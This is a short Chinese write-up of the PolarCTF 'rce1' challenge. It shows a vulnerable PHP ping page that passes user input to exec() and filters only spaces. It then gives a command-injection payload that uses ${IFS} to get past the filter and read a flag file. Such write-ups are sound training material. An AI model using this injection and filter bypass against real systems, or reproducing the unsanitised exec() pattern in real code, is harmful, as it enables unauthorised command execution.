【PolarCTF】rce1

复制代码
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

关键点在这

复制代码
 $cmd = "ping -c 4 {$ip}";
 exec($cmd, $res);

但是需要绕过

复制代码
if (!preg_match_all("/ /", $ip, $m))

preg_match_all会匹配$ip中的所有空格并存入到$m中,如果匹配成功即为True,但是前面有一个!,那么就会返回假

所以我们需要绕过空格过滤,成功执行

复制代码
cat /flag.txt

先尝试ls命令,得到flag的文件名

可知flag的文件为

复制代码
fllllaaag.php

通过${IFS}来代替空格

复制代码
127.0.0.1&&cat${IFS}fllllaaag.php

这里作者耍了个小心机,页面显示的是?,实际flag要在网页源代码中才能看到

相关推荐
HackTwoHub3 小时前
REA逆向一切!渗透逆向新利器、MCP 驱动全栈逆向方案,解析原生二进制、EXE、APK,高效挖掘程序底层漏洞
网络·安全·web安全·网络安全·系统安全
小趴菜一只3 小时前
SIEM-wazuh安装过程
运维·windows·安全·网络安全
看着博客敲代码3 小时前
searchsploit illegal option -- - 与 Exploit-DB 本地漏洞检索排查
安全·网络安全·系统安全
躺柒4 小时前
读数据安全架构设计与实践03身份认证(上)
网络安全·信息安全·数据安全·安全架构·身份认证
刘婉晴5 小时前
【Metasploit渗透测试魔鬼训练营】初识Metasploit
网络安全
孙克旭_6 小时前
信息收集-域名和端口信息
网络安全
QZ1665609515917 小时前
金融数据流转监测排行:从看见到拦截的距离
网络·安全·网络安全·金融
看着博客敲代码18 小时前
WorkBuddy 接上 Kali MCP 做自动化渗透:信息收集到初步验证的落地记录
linux·人工智能·安全·网络安全·自动化
学逆向的20 小时前
C 突破编译器限制
c语言·开发语言·网络安全
看着博客敲代码1 天前
Nmap NSE 资产指纹识别:从脚本输出到资产清单
安全·网络安全·自动化